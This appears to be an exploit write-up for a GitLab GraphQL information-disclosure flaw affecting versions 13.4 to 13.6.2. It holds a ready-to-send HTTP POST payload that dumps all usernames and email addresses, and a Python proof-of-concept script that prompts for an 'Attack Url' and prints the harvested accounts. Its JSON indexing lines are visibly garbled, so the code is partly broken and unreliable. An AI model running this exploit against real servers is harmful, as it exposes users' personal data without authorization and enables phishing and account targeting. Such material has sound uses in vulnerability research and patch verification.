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GitLab Graphql邮箱信息泄露漏洞 CNVD-2021-14193/en

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Affected Versions

GitLab 13.4 - 13.6.2

Exploit

http://xxx.xxx.xxx.xxx/-//graphql-explorer

GitLab itself doesn't allow unauthorized access to user's email address, but through a username query towards GraphQL the email data could get exposed.

In the original report, it requires that you have known the username to acquire its email address; but through another constructed query you could get all usernames and email addresses in a row
Send the payload to /api/graphql

Full payload is as below:

POST /api/graphql HTTP/1.1
Host: xxx.xxx.xxx.xxx
Content-Length: 212
Content-Type: application/json


{"query":"{\nusers {\nedges {\n  node {\n    username\n    email\n    avatarUrl\n    status {\n      emoji\n      message\n      messageHtml\n     }\n    }\n   }\n  }\n }","variables":null,"operationName":null}

Usernames and their email address could be seen in the returned content.

POC

import requests
import sys
import random
import re
import json
from requests.packages.urllib3.exceptions import InsecureRequestWarning

def title():
    print('+--------------WgpSec--Team----------------')
    print('+  \03334mPOC_Des: http://wiki.peiqi.tech                                   \0330m')
    print('+  \03334mVersion: GitLab 13.4 - 13.6.2                                     \0330m')
    print('+  \03336m使用格式:  python3 poc.py                                            \0330m')
    print('+  \03336mUrl         >>> http://xxx.xxx.xxx.xxx                             \0330m')
    print('+------------------------------------------')

def POC_1(target_url):
    vuln_url = target_url + "/api/graphql"
    user_number = 0
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
        "Content-Type": "application/json",
    }
    try:
        data = """
        {"query":"{\\nusers {\\nedges {\\n  node {\\n    username\\n    email\\n    avatarUrl\\n    status {\\n      emoji\\n      message\\n      messageHtml\\n     }\\n    }\\n   }\\n  }\\n }","variables":null,"operationName":null}
        """
        requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
        response = requests.post(url=vuln_url, headers=headers, data=data ,verify=False, timeout=5)
        if "email" in response.text and "username" in response.text and "@" in response.text and response.status_code == 200:
            print('\03332mo 目标{}存在漏洞, 泄露用户邮箱数据....... \0330m'.format(target_url))
            for i in range(0,999):
                try:
                    username = json.loads(response.text)"data""users""edges"i"node""username"
                    email = json.loads(response.text)"data""users""edges"i"node""email"
                    user_number = user_number + 1
                    print('\03334mo 用户名:{} 邮箱:{} \0330m'.format(username, email))
                except:
                    print("\03332mo 共泄露{}名用户邮箱账号 \0330m".format(user_number))
                    sys.exit(0)
        else:
            print("\03331mx 不存在漏洞 \0330m")
            sys.exit(0)
    except Exception as e:
        print("\03331mx 请求失败 \0330m", e)


if __name__ == '__main__':
    title()
    target_url = str(input("\03335mPlease input Attack Url\nUrl >>> \0330m"))
    POC_1(target_url)

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